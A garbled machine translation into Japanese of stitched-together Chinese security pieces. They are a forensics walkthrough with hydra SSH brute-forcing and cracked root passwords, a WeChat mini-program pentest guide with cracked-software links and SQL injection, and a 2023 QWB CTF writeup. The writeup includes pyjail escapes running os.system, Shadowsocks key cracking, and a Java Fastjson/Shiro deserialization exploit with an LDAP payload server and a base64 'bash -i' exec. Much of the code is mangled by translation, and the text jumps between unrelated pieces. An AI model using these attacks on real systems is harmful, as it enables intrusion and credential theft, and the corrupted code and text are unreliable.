7.ウェブサイトサーバーのログインパスワードは何ですか?チームメイトがWindowsを行っている場合、この辞書を使用して爆破するCommonPwd.txtを見つける可能性があります。

┌┌)-(root㉿kali) - [/home/kali/desktop]

└─#hydra-lroot-pcommonpwd.txtssh: //192.168.8.89

Hydrav9.5(c)2023Byvanhauser/thcdavid maciejak-greadedotuse inmilitaryorsecretsersivice組織、Orforillegalpurposes(Thisisnon binding、これらの*** IngoreLawsandethichicsAnyway)。

Hydra(https://github.com/vanhauser-thc/thc-hydra)stastat2024-04-2818:42:26

[警告] Manyssh configurationslimitthenumberparalleltasks、tisrecomedendedToreducethetasks:use-T4

[data] max16tasksper1server、総合16tasks、147logintrys(l:1/p:147)、〜10triespertask

[データ]攻撃sh: //192.168.8.89:22/

[22][ssh]host:192.168.8.89login:rootpassword:qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

8.ウェブサイトサーバーが使用する管理パネルのログインポートアドレスの対応するポート番号は次のとおりです。

デフォルトの情報を表示するときは、タイムアウトできます。次の方法を使用して、待機または変更できます。

ImageIMAGE-20240428184856702彼のために名前サーバーを設定すると、彼はすぐにホストを解決できなかったので、それは大丈夫です

ImageIMAGE-2024042818532236614131

9.ウェブサイトサーバーのWebディレクトリは何ですか?パゴダのパスワードを変更します

ImageIMAGE-20240428185455840 ImageIMAGE-20240428185418000ただし、ウェブサイトファイルはこれには見つかりませんでした。ソースコードが見つかりました。

ImageImage-20240428185846395/webapp

10. Webサイト構成のRedisの接続タイムアウトは何秒ですか?ImageIMAGE-202404281855557320

11.ウェブサイトの通常のユーザーのパスワードで使用される塩値はImageIMAGE-20240428191125245!@#qaaxcfvghhjllj788+)_)_)((

12。ウェブマスターのユーザーパスワードの暗号化アルゴリズム名A. des

B. RSA

C. MD5

D. BCRYPT ImageIMAGE-2024042819132290613。ウェブサイトのスーパー管理者ユーザーアカウントはいつ作成されましたか? A. 2022-05-09 12:44:41

B. 2022-05-09 13:44:41

C. 2022-05-09 14:44:41D。 2022-05-09 15336044:41

JARパッケージのデータベース情報を参照してください

ImageIMAGE-20240428191702606接続が見つかった場合、接続できません

ImageIMAGE-20240428191756881データベースが開かれないと推測します

次に、パゴダに記載されているデータベースの場所は192.168.8.142です。 ESXiでは、データ仮想マシンがこのIPであることがわかりました

または以前のHydra爆発

┌┌)-(root㉿kali) - [/home/kali/desktop]

└─#Hydra-LROOT-PCOMMONPWD.TXTSSH: //192.168.8.142

Hydrav9.5(c)2023Byvanhauser/thcdavid maciejak-greadedotuse inmilitaryorsecretsersivice組織、Orforillegalpurposes(Thisisnon binding、これらの*** IngoreLawsandethichicsAnyway)。

Hydra(https://github.com/vanhauser-thc/thc-hydra)stastat2024-04-2819:22:57

[警告] Manyssh configurationslimitthenumberparalleltasks、tisrecomedendedToreducethetasks:use-T4

[data] max16tasksper1server、総合16tasks、147logintrys(l:1/p:147)、〜10triespertask

[データ]攻撃sh: //192.168.8.142:22/

[22] [SSH] HOST:192.168.8.142LOGIN:ROOTPASSWORD:HL@70011OF1TARGETSUCCCESSELYが完成し、1VALIDPASSWORDFOUND

[警告] WriteRestoreFilebecause2FinalWorkerThreadSDIdNotCompleteUntiLend。

[エラー] 2TargetSDIDNOTRESOLVEORを接続できませんでした

[エラー] 0TargetDidNotComplete

Hydra(HTT

re

emoji connect

はExcelプラグインです。プレイを開始した後、4848マトリックスが初期化されます。各グリッドには絵文字があり、その後、毎回2つのグリッドがクリックされます。 2つのグリッドの絵文字が同じ場合、これらの2つのグリッドは排除されます。最初は、星などの3つのグリッドの排除だと思っていましたが、ゲームのロジックを見ると一度に2つしか置き換えなかったので、次々に見ました。次に、フラグのロジックは、グリッドが排除されるたびにグリッドの行を差し引くことです。添え字は、魔法の方法を使用してUnicodeから転送されます。マトリックス内の絵文字の最小値を直接使用して、下付き文字をオフセットします。

dat='' '

オンラインミニプログラムのほとんどは、Androidエミュレーターを使用してパケットをキャプチャします。ここでは、Burpsuite+Proxifer+Wechatクライアントのパケットをキャッチする方法を使用します。

環境準備

burp2023.9.2

proxifier4.5

Proxifierは非常に強力なSocks5クライアントであり、プロキシサーバーの使用をサポートせず、HTTPSまたはソックス、またはプロキシチェーンを渡すことができるワーキングネットワークプログラムを可能にします。これは有料のソフトウェアであり、31日間の無料トライアルであり、ここにひび割れたバージョンのリンクがあります

リンク:https://pan.baidu.com/s/14qelygxdpmbgtucftpl4tq?pwd=7o50

抽出コード:7o50

图片1.png

次のものをインストールするだけで、インストール後に開くだけです

图片2.png

クリックして登録して、あなたの名前を何気なく書き、登録コードを何気なくコピーし、[OK]をクリックします

プロキシフィア構成

プロキシフィアを開き、プロファイルをクリックしてプロキシサーバーを追加します

图片3.png

图片4.png

アドレス127.0.0.1、ポートカスタマイズ、ここに8888、プロトコル選択httpsがあります

引き続きプロキシルールを追加します

WeChatでミニプログラムを開くと、プロセスに追加のWeChatappexがあります

图片5.png

このプログラムは、WeChat Miniプログラムのプロセスです

ルールを追加します

图片7.png

アプリケーションは、アプレットプロセスアプリケーションを選択し(ここに手動で入力できます)、アクションは新しく作成されたプロキシサーバーを選択します。

げっぷの構成

图片8.png

プロキシリスナーとプロキシサーバーをプロキシファイアのプロキシサーバーを編集して、127.0.0.1:8888をリッスンします

この時点で、WeChatはミニプログラムを開き、WeChatappexのトラフィックが最初にプロキシファイアを通過し、次に127.0.0.1:8888を使用して图片9.pngを使用することがわかります。

これで、通常はWebサイトをテストするように、げっぷでパケットをテストできます

ミニプログラムの逆コンパイル

图片10.png

WeChatファイルがWeChatの設定に保存されている場所を見つけることができます

图片11.png

ディレクトリのアプレットは、ミニプログラムキャッシュファイルのストレージアドレスです

图片12.png

通常使用するミニプログラムが多いほど、対応するファイルが増えます。テストするミニプログラムパッケージが見つからない場合は、変更日に従って見つけるか、単にすべてのキャッシュされたファイルを削除してから、テストするミニプログラムを再開します。

图片13.png

この時点で、アプレットに対応するキャッシュフォルダーをテストしたいのは

内部をクリックして、解決したいパッケージのロックを解除します

图片14.png

これは暗号化されたパッケージです。ユーザーがWeChatのアプレットのQRコードを検索またはスキャンすると、WeChat BackEndはアプレットの関連情報を.wxapkgファイルにパッケージ化し、ユーザーのデバイスに送信します。このファイル形式は、実際には圧縮パッケージであり、すべてのアプレットのコード、リソース、構成ファイル、その他のコンテンツ、および特定の説明ファイルapp.jsonが含まれています。

暗号化されたパッケージなので、最初に復号化しましょう。以下はボスの復号化ツールへのリンクです

リンク:https://pan.baidu.com/s/1bzfvbvwd4vlpakx9payrsg?pwd=qz3z

抽出コード:QZ3Z

图片15.png

暗号化されたパッケージを選択します

图片16.png

復号化が成功した後、ツールディレクトリのwxpackディレクトリで

图片17.png

次の逆コンパイル

最初にnodejsをインストールし、リンクhttps://nodejs.org/zh-cn/download/をダウンロードして、インストールして次のステップに進みます。インストール後、環境変数を追加します

图片18.png

環境変数を追加すると、CMD入力コマンドがエコーされます。

图片19.png

次に、逆コンパイルツールwxappunpackerを使用します

オリジナルリンク3https://github.com/system-cpu/wxappunpacker

ネットワークディスクリンク:https://pan.baidu.com/s/19o2kdqwn2zyars8arej1lq?pwd=22qj

抽出コード:22QJ

ツールディレクトリにご覧ください

インストール

图片20.png

インストール依存関係

npmインストールesprima

NPMインストールCSS-Tree

npmインストールcssbeautify

NPMインストールVM2

npmインストールuglify-es

NPMインストールjs-beautify

上記のコマンドを1つずつ実行します

上記のコマンドを1つずつ実行します

次の逆コンパイル

コマンドを実行します

Node wuwxapkg.js復号化後のアプレットへのパス

图片21.png

图片22.png

実行後、ディレクトリは逆コンパイルパッケージのディレクトリに生成されます。

图片23.png

图片24.png

それはあなたが逆コンパイル後に得るファイルです

WeChat開発者ツールをダウンロードします

公式ウェブサイトのダウンロードリンク

https://ServiceWechat.com/wxa-dev-logic/download_redirect?type=win32_x64from=mpwikidownload_version=1062308310version_type=1

インストール後に開きます

图片25.png

[サインの追加]をクリックします

图片26.png

分解されたディレクトリを選択すると、バックエンドサービスはクラウドサービスを使用しません。 [OK]をクリックします

图片29.png

アプレットのJSコードを表示できます

テスト

クリックして確認コード機能を送信します

图片30.png

/api/shop/ipad/login/smsパスです

コード内の関数を送信するためのコードを見つけます

图片31.png

/login /smsのみが見つかりました

これで、パスアクセスルールが基本的に確認されています。 /API/Shop/iPadにインターフェイスをスプライシングした後、許可なしにスプライスする他のインターフェイスを見つけます。

ホームページへのパスを見つけます

图片32.png

パケットを直接送信して404を返します

图片33.png

スプライシング/API/SHOP/iPadの後のパッケージ

图片34.png

パスが正しいことを確認できますが、不正はありません。このパスは存在しません。これは、すべてのインターフェイスが存在しないことを完全に意味するものではありません。おそらく、欠落しており、認証されていないいくつかのインターフェイスがあります。

偶然

検証コードを送信したばかりのインターフェイスを見て、SMS爆撃などがあるかどうかを確認します

图片35.png

/login /smsインターフェイスにアクセスし、ポストでモバイルパラメーターを受信します

建設パッケージ

图片36.png

存在しない携帯電話番号を入力し、携帯電話番号を正しく表示します

图片37.png

また、実際のものを入力する際のエラーでもあります。システムに存在するアカウント番号のみが有効になる可能性があります。

パラメーターが表示されたときに単一の引用を使用できます

图片38.png

ああ、単一の引用を追加します

图片39.png

ああ免除+1

Return Packetを調べて使用する.NETを伝えることができます。私は個人的に、このフレームワークが多く注入されていると思います、そして、私はそれをエコーせずにマニュアルベットを使用しようとします。 SQLMAPは、シャトル、HTTPSに加えて、-force-SSLパラメーターです

图片40.png

SQLインジェクションが正常に使い果たされ、スタックインジェクションでした。

图片41.png

元のリンクから転載:https://forum.butian.net/share/2477

Misc

easyfuzz

1.文字列を入力しようとすることにより、入力文字のプログラムの検証ルールは9文字であると判断され、正しい文字が満たされている限り、最後の返品値はすべて111111111111111111111111111111111111

1049983-20231220102232383-2117306380.jpgは大胆に推測し続け、試してみてください。最初の2つのキャラクターは110000000を満たす任意のキャラクターであることができるため、最後の7文字を破壊できます。

1049983-20231220102232956-1570359645.png

2。ビットごとに爆発し、アイデアが正しいことを確認します、最後のビットは文字列「d」です

1049983-20231220102233640-77832507.png3。バーストスクリプトを書きます。文字列の長さが9ビットで入力されると、「ここにコードカバレッジ: 110000000」ではない結果とともに印刷されます。スクリプトは次のとおりです

PWNインポートから *

文字列インポートから印刷可能

conn=remote( '101.200.122.251'、12199)

non_matching_strings=[]

範囲のIの場合(9):

Printable:のcharの場合

ペイロード='A'*i + char + 'a'*(8-i)

print(conn.recvuntil(b'enter a string(10バイト未満): '))

conn.sendline(payload.encode())

response=conn.recvline()。decode()。strip()

応答!='ここにコードカバレッジ: 110000000':があります

non_matching_strings.append(ペイロード)

non_matching_strings:の文字列の場合

印刷(文字列)

フラグ:qwb {youknowhowtofuzz!}

サインイン

フラグ{welcome_to_qwb_2023}

pyjail!それはmyfilter !!!

です

Pythonサンドボックスエスケープは、閉じた後、環境を直接読み取り、フラグを取得する

{13212} '+(print(open('/proc/1/Environ ')。read())+'

または、payload:を使用します

{print(open( '/proc/1/Environ')。read())}

1049983-20231220102234429-840188246.jpg 1049983-20231220102235091-904152452.jpgFLAG {61E81B4F-566C-49F5-84DD-D79319FDDC82}

pyjail!それはmyRevenge !!!

です

Pythonサンドボックスエスケープ

ファイルのインポートOS; os.system( "nl fl*hzy")を書き込み、読み取りを使用して実行コンテンツを読んでフラグを取得する

すべてのフィルター文字はOctalでバイパスされ、セグメントで書かれています

{13212} '+(open(' wsy '、' a ')。書き込み(' 15115160157162 '))+' {13212} '+(open(' wsy '、' a ')。 'a')。write( '163; 157'))+'{13212}'+(open( 'wsy'、 'a')。write( '163。'))+'{13212}'+(open( 'wsy'、 'a')。 'a')。write( 'st'))+'{13212}'+(open( 'wsy'、 'a')。write( 'em(' nl 146*hzy ')')+'{13212}'+open( '143157de.py'、 'w')。

または、次のPOC:を順番に実行します

{globals()。update(dict(my_filter=lambda x:1))} '' {in''put()} '#

{globals()。update(dict(len=lambda x:0))} '' {in''put()} '#

{print( '' .__ class __.__ mro __ [1] .__サブクラス__()[137] .__ init __.__グローバル__ ['__ builtins __'] ['__ import __']( 'os')。

['flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104'、 'server_8f6c72124774022b.py']

{globals()。update(dict(my_filter=lambda x:1))} '' {in '' put()} '#

{globals()。 update(dict(len=lambda x:0))} '' {in '' put()} '#

{print(open( 'flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104')。read()}}}

1049983-20231220102235740-1742558554.jpg

フラグ{8F0A4AC2-52D3-4ADB-A1A3-47E05997817D}

wabby wabbo Radio

f12は、wav/static/audios/xh4.wavへのリンクを取得できます

1049983-20231220102236427-57165101.jpgはそれを更新し、それがランダムにプレイするために選択されていることを発見しました。

それを曖昧にすると、合計xh1-xh5とhint1-hint2とflag.wavがあります

各波の左のボーカルは明らかに苔です

1049983-20231220102237104-943477565.jpg

独立したチャネル、振幅を増やし、オンラインWebサイトを説明します

https://MORSECODE.world/international/decoder/audio-decoder-adaptive.html

得る:

旗が欲しいですか?もう少し長く聞いてみましょう。ゲンシンの衝撃の始まり。今日の天気は本当にいいです。 Wabby Wabbo Radioを聴くのは素晴らしい日です。それを行う方法がわからない場合、最初に何か他のことをすることができます。

他に役に立つものはありません、QAMキャリアの振幅を1つだけプロンプトします

https://info.support.huawei.com/info-finder/encyclopedia/zh/qam.html#qam'sホロスコープ

簡単な理解の後、私は01が振幅によって区別できることを発見しました。振幅を印刷しようとしましたが、それらはすべて±1と±3の間に濃縮されることがわかりました。

1049983-20231220102237866-1291932793.jpg 16Qam星座図を比較すると、振幅は信号対応を形成するだけであることがわかりますが、特定の対応が何であるかはわかりません。私たちは盲目的に小さいから大規模に推測します。

簡単なスクリプトは次のとおりです。

scipy.io.wavfileをwavとしてインポートします

npとしてnumpyをインポートします

sysをインポートします

sample_rate、data=wav.read( 'flag.wav')

data:のiの場合

印刷(i)

flag=''

def Repla(n):

n==-3:の場合

「00」を返す

elif n==-1:

「01」を返す

elif n==1:

「10」を返す

elif n==3:

「11」を返す

x、y in data:の場合

n1=round(float(x))

n2=round(float(y))

flag +=repla(n1)

flag +=repla(n2)

print(flag)

1049983-20231220102238733-2090115571.jpg

スパイシャドウ3.0

ヒントを与える:紙の飛行機も飛行機であり、海の反対側に海外に飛ぶこともできます。トピックの説明によると、特別なトンネルをVPNとして関連付けるのは簡単です

少し検索すると、シャドークスクにつながります、リファレンス記事:

https://phuker.github.io/posts/shadowsks-active-probing.html

完全な復号化スクリプトが与えられましたが、キーがわからないので、リクエストを成功させるために識別子としてHTTPを爆発させただけです。

#!/usr/bin/env python3

#encoding: utf-8

OSをインポートします

sysをインポートします

ロギングをインポートします

Hashlibをインポートします

crypto.cipher Import AESから

logging.basicconfig(level=logging.info)

def evp_bytestokey(password、key_len、iv_len):

m=[]

i=0

while len(b ''。結合(m))(key_len + iv_len):

md5=hashlib.md5()

データ=パスワード

0:の場合

データ=m [i -1] +パスワード

md5.update(データ)

M.Append(md5.digest())

I +=1

ms=b ''。参加(m)

key=ms [:key_len]

iv=ms [key_len3360key_len + iv_len]

リターンキー、iv

def Decrypt(cipher、password):

key_len=int(256/8)

IV_LEN=16

モード=aes.mode_cfb

key、_=evp_bytestokey(password、key_len、iv_len)

cipher=bytes.fromhex(cipher)

iv=cipher [:iv_len]

real_cipher=cipher [iv_len:]

obj=aes.new(key、mode、iv、segment_size=128)

Plain=obj.decrypt(real_cipher)

平野を返します

def main():

#HTTPリクエストをテストします

cipher='E0A77DFAFB6948728EF45033116B34FC855E7AC8570CAED829CA9B4C32C2F6F79184E333445C6027E18 A6B53253DCA03C6C464B8289CB7A16AA17666A0325EE842F9A766B81039FE50C5DA12DFAA89ECCE17B1 1BA9748899B49B071851040245FA5EA1312180DEF3D7C0F5AF697343544A8A342E8FCD2B1759086EAD1 24E39A8B3E2F6DC5D56AD7E8548569EE98EC363F87930D4AF80E984D0103036A91BE4AD76F0CFB00206 '

f:としてopen( 'rockyou.txt'、 'rb')

lines=f.readlines()

ライン:のパスワードの場合

Plain=Decrypt(cipher、password.strip())

Plain:のb'http 'の場合

印刷(パスワード、プレーン)

__name__=='__main __' :の場合

主要()

#b'superman \ n 'b' \ x03 \ x0f192.168.159.131 \ x00pget /why-you-you-you-want this-is http /1.1 \ r \ nhost: 192.168.159.131 \ r \ nuur-agent3360 curl/8.4.0 \ r \ naccept: */*\ r \ nconnection: close \ r \ n \ r \ n '

ファイル名を取得してください理由は何ですか?

フラグ{DC7E57298E65949102C17596F1934A97}

スパイシャドウ2.0

トピックの説明によれば、航空機の交通はADS-Bプロトコルに簡単に関連付けることができます

TCPストリームデータをエクスポートします

tshark -r attach.pcapng -y 'tcp' -t fields -e tcp.segment_data tcp.txt

解析スクリプト:

ピモードをインポートします

f:としてopen( 'tcp.txt'、 'r')

lines=f.readlines()

ライン:のデータの場合

Len(data)==47:の場合

print(pymodes.decoder.tell(data [18:]))

空中速度をフィルターし、79A05Eの最速飛行機は371ノットで、MD5 ICAOアドレスはフラグです

1049983-20231220102239481-10217306.jpgまたは

パケットをJSON形式にエクスポートします

1049983-20231220102240331-759824562.png

スクリプトを使用してフィールドを抽出し、MD5を実行します

JSONをインポートします

PMSとしてPymodをインポートします

Hashlibをインポートします

file:として、open( '123.json'、 'r'、encoding='utf-8')を使用します

data=json.load(file)

情報=[]

data:のパケット用

パケット['_ source']および「tcp」の「層」['_ source'] ['layers'] :の場合

tcp_layer=packet ['_ source'] ['layers'] ['tcp']

tcp_layer:の「tcp.payload」の場合

tcp_payload=tcp_layer ['tcp.payload']。

info.append(tcp_payload)

planes_data=[]

Info:のIの場合

msg=i [18:]

pms.adsb.typecode(msg)=19およびpms.adsb.typecode(msg)=22:の場合

icao=pms.adsb.icao(msg)

velocity_info=pms.adsb.velocity(msg)

速度、トラック、vertical_rate、_=velocity_info

plane_info={'icao': icao、' speed ': speed、 'track ':トラック、' vertical_rate': vertical_rate}

planes_data.append(plane_info)

fastest_plane=max(planes_data、key=lambda x: x ['speed'])

print(hashlib.md5(fastest_plane ['icao']。上()。encode())。hexdigest()))

#flag {4cf6729b9bc05686a79c1620b0b1967b}

ハッピーチェス

予想外であるはずです。いつでも9つの位置を入力し、ラウンドを直接終了します。成功したと見なされます。

1049983-20231220102241092-1866057286.jpg

強いネットパイオニア

speedup

純粋なソーシャルワークの問題は、27の力に対する要因の合計を必要とし、OEISにはこの値が直接あります

https://oeis.org/a244060/list

2023 强网杯 writeup by Arr3stY0u

SHA256の後、フラグを取得します

flag {bbdee5c548fddfc76617c562952a3a3b03d423985c095521a86661d248fad3797}

pngを見つけましたか?

文字列main.mem | grep 'linuxバージョン」

1049983-20231220102242746-1827208583.jpgカーネルバージョンを取得したら、写真を撮ります

https://Treasure-house.randark.site/blog/2023-10-25-memoryforensic-test/

Linuxプロファイルを作成します

Python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=LINUXUBUNTU2004X64 LINUX_FIND_FILE -L | sindstr 'デスクトップ'

デスクトップにファイルを見つけることができますhave_your_fun.jocker

1049983-20231220102243633-2077410566.jpgはエクスポートを試みましたが、空です

python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=Linux

web

ai_java

最初に添付ファイルアカウントを介してアカウント番号を取得するimage.png image.png

Base64またはJSFuckを介してJSとCのプロンプトを取得できます。 JSを監査すると、C機能を確認して実行できます。 GitHubプロジェクトアドレスimage.pngを入手してください

送信履歴を見つけるソースコードimage.pngを見つけました

監査ソースコードは、承認なしにspring – bootが存在する可能性があることを発見しましたimage.png

FastJsonの解析は、管理者のページimage.pngの下にある/post_message/interfaceに存在します

image.png

特定のバージョンを確認して、LADPを直接攻撃することは不可能であることがわかります。依存関係を確認してください

ディスカバリーはシロを紹介しました。 SerializedData + LDAP攻撃を使用します。シェルを跳ね返すための依存性CB

パブリッククラスCB {

public static void setFieldValue(オブジェクトOBJ、文字列フィールド名、オブジェクト

t値)スロー例外{

フィールドフィールド=obj.getClass()。getDeclaredField(FieldName);

field.setAccessible(true);

field.set(obj、value);

}

public static Comparator GetValue(オブジェクトインスタンス)がNosuchfielを投げます

DEXCEPTION、ILLEGALACCESSEXCEPTION {

クラス? clazz=instance.getClass();

//プライベート変数のフィールドオブジェクトを取得します

Field Privatefield=clazz.getDeclaredfield( 'instance');

//プライベート変数のアクセス権限を設定します

privatefield.setAccessible(true);

//プライベート変数の値を取得します

オブジェクト値=privatefield.get(instance);

return(Comparator)Value;

}

public static byte [] getPayload()スロー例外{

classpool pool=classpool.getDefault();

ctclass clazz=pool.get(veol.class.getname());

byte [] code=clazz.tobytecode();

templatesimpl obj=new TemplatesImpl();

setFieldValue(obj、 '_bytecodes'、new byte [] [] {code});

SetFieldValue(obj、 '_name'、 'tvt');

setFieldValue(obj、 '_tfactory'、new TransformerFactoryImpl());

最終的なbeancomparator Comparator=new BeanComparator(null、getva

lue(new Headers()));

キューキュー=新しい優先度(2、コンパレータ);

queue.add( '1');

queue.add( '1');

SetFieldValue(Comparator、 'Property'、 'outputProperties');

setFieldValue(queue、 'queue'、new Object [] {obj、obj});

bytearrayoutputStream barr=new bytearrayoutputStream();

ObjectOutputStream OOS=new objectOutputStream(barr);

oos.writeobject(queue);

oos.close();

byte [] bytearray=barr.tobytearray();

string base64EncodedData=base64.getEncoder()。encodetostring(by

Tearray);

System.out.println(base64encodedData);

bytearrayを返します。

}

}

パブリッククラスの悪は抽象的なトランスレットを拡張します{

public void transform(dom var1、serializationhandler [] var2)スロー

transletexception {

}

public void transform(dom var1、dtmaxisiterator var2、serializationh

Andler var3)transletexceptionをスローする{

}

public static void main(string [] args)スロー例外{

runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');

}

Public Evil()Throws Exception {

runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');

}

}

パブリッククラスldapserialserver {

private static final string ldap_base='dc=example、dc=com';

public static void main(string [] tmp_args){

string [] args=new String [] {'http://127.0.0.1:8000/#邪悪なクラス'};

int port=7777;

試す {

InmeMoryDirectoryServerConfig config=new InmeMoryDirectory

serverconfig(ldap_base);

config.setlistenerconfigs(new inmemorylistenerconfig(

「聞く」、//$ non-nls-1 $

inetaddress.getByname( '0.0.0.0')、//$ non-nls-1 $

ポート、

ServersocketFactory.getDefault()、

socketfactory.getDefault()、

(sslsocketfactory)sslsocketfactory.getDefault()));

config.addinmemoryOperationInterceptor(new OperionsIntercep

tor(new URL(args [0])));

InmemoryDirectoryServer DS=new InmemoryDirectoryServer(con

イチジク);

System.out.println( '0.0.0.03360' +ポートで聞く); //$ non-n

LS-1 $

ds.startlistening();

}

catch(例外e){

e.printstacktrace();

}

}

Private Static Class OperationEnterceptorは、Inmemoryoperationiを拡張します

nterceptor {

プライベートURLコードベース。

Pulily OperysInterceptor(URL CB){

this.codebase=cb;

}

@オーバーライド

public void processSearchResult(inmemoryInterceptedSearchResul

結果の結果){

string base=result.getRequest()。getBasedN();

エントリe=new entry(base);

試す {

sendResult(result、base、e);

}

catch(例外E1){

e1.printstacktrace();

}

}

保護されたvoid sendResult(inmemoryinterceptedsearchResult resu

LT、文字列ベース、エントリe)例外をスローする{

system.out.println( '' + base +のLDAP参照結果を送信します

「CBガジェットを返します」);

e.Addattribute( 'Javaclassname'、 'Deserpayload'); //$ non-nls-

1 $

string base64EncodedData='ro0abxnyabdqyxzhlnv0awwuhjpb3jp

dhlrdwv1zztamlt7p4kxawacsqaec2l6zuwacmnvbxbhcmf0b3j0abzmamf2ys91dglsl0n

vbxbhcmf0b3i7ehaaaaacc3iak29yzy5hcgfjaguuy29tbw9ucy5izwfudxrpbhmuqmvhbk

nvbxbhcmf0b3ljoyjqcykksaiaakwacmnvbxbhcmf0b3jxah4aauwachbyb3blcnr5daast

GPHDMEVBGFUZY9TDHJPBMC7EHBZCGA/Y29TLNN1BI54BWWUAW50ZXJUYWWUD3MUDHJHBNNW

b3j0lkhlywrlcnmksw5zzw5zaxrpdmvdb21wyxjhdg9yyieexdpxa/ecaab4chqaeg91dhb

1dfbyb3blcnrpzxn3baaaaanzcga6y29tlnn1bi5vcmcuyxbhy2hllnhhbgfulmludgvybm

fslnhzbhrjlnryyxguvgvtcgxhdgvzsw1wbalxt8furkszawagsqanx2luzgvude51bwjlc

KKADL90CMFUC2XLDELUZGV4WWAKX2J5DGVJBJB2RLC3QAA1TBQLSABL9JBGFZC3QAELTMAMF2

ys9syw5nl0nsyxnzo0wabv9uyw1lcqb+aarmabffb3v0chv0uhjvcgvydgllc3qafkxqyxz

hl3v0awwvuhjvcgvydgllczt4caaaad /////dxiaa1tbqkv9grvnz9s3agaaeaaabdx

iaaltcrpmx+ayivoacaab4caaabink/rq+aaaana1cgaiacmiacqkaciajqoajgancgaha

CGHACKHACOBAAL0CMFUC2ZVCM0BAHIOTGNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRL

CM5HBC94C2X0Y9ET007W0XJB20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCML

hbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybaardb2rlaqaptgluzu51bwjlclrhym

xlaqastg9jywxwyxjpywjszvrhymxlaqaedghpcweabkxldmlsoweabhzhcjebac1my29tl

3N1BI9VCMCVYXBHY2HLL3HBGFUL2LUDGVYBMFSL3HZBHRJL0RPTTSBAAR2YXIYAQBCW0XJ

B20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCMMLHBGL6ZIVU2VYAWFSAXPHDGL

vbkhbmrszxi7aqakrxhjzxb0aw9ucwcakweapihmy29tl3n1bi9vcmcvyxbhy2hll3hhbg

ful2ludgvybmfsl3hzbhrjl0rptttmy29tl3n1bi9vcmcvyxbhy2hll3htbc9pbnrlcm5hb

C9KDG0VRFRNQXHPC0L0ZXJHDG9YO0XJB20VC3VUL9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLC

mlhbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybadvmy29tl3n1bi9vcmcvyxbhy2hl

L3HTBC9PBNRLCM5HBC9KDG0VRFRNQXHPC0L0ZXJHDG9YOWEABHZHCJMBAEFMY29TL3N1BI9

vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9zzxjpywxpemvyl1nlcmmlhbgl6yxrpb25iyw5kbg

vyoweabg1haw4babyow0xqyxzhl2xhbmcvu3ryaw5noylwaqaeyxjncweae1tmamf2ys9sy

w5nl1n0cmluzzshacwbaay8ay8aw5pdd4baamokvaypaptb3vyy2vgawxlaqajzxzzpbc5qyxzh

bwatdaauac8bagfiyxnoic1jihtly2hvlfltrnphq0f0yvnbk0ppowtawfl2zedod0x6utn

makv4txk0ee9ua3vnvfe0thpnne9ez2dnrdrttve9px18e2jhc2u2ncwtzh18e2jhc2gslw

l9daawadehadimadmanawahgafazxzzpbaeaqgnvbs9zdw4v3jnl2fwywnozs94ywxhb

i9pbnrlcm5hbc94c2x0y9ydw50aw1ll0fic3ryywn0vhjhbnnszxqbadljb20vc3vul29y

zy9hcgfjaguvegfsyw4vaw50zxjuywwvehhnsdgmvhjhbnnszxrfegnlchrpb24babnqyxz

hl2xhbmcvrxhjzxb0aw9uaqaramf2ys9syw5nl1j1bnrpbwubaapnzxrsdw50aw1laqavkc

lmamf2ys9syw5nl1j1bnrpbwu7aqaezxhlyweajyhmamf2ys9syw5nl1n0cmluzzsptgphd

mevbgfuzy9qcm9jzxnzoweaa0ndngeacmdldfhewxvywqbaaqokvtcaceabgahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

AAEACAAJAAIACgAAAD8AAAAAAAAAAAAAAAAAAAGAAEAAAAALAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0

adgaaaaaaaaqapabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaCgaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

AAAbEAAAACAAsAAAAGAAEAAAAAAOAAWAAAAQAAQAAAABAA0ADgAAAAAAAAAQAPABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE

QAWAAIAAAABABcAGAADABMAAAAEAFAAJABkAGgACAAoAAABAAAIAQAAAA64AAESArYA

A1E4AARXSQAAAAIAACWAAAA4AAWAABEACQASAA0AEWAMAAABAAADGABABWAAAAAAAA

abaabab0aaqaeab8aagakaaaaaaaaaaaaaaaaaaaaokrcabbgaarictgadv7eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

maaaauaaqafqanabyadaaaaawaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaaqaadayaaaaaaaaaaaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaada

An0dnrwdweaeheafganea==';

e.Addattribute( 'JavaserializedData'、base64.getDecoder()。12月

ode(base64encodedData));

result.sendsearchentry(e);

result.setResult(new ldapresult(0、resultCode.success));

}

}

}

